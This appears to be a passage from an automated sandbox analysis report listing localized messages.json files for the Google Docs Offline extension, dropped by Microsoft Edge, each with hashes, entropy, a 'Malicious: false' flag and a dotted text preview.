Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
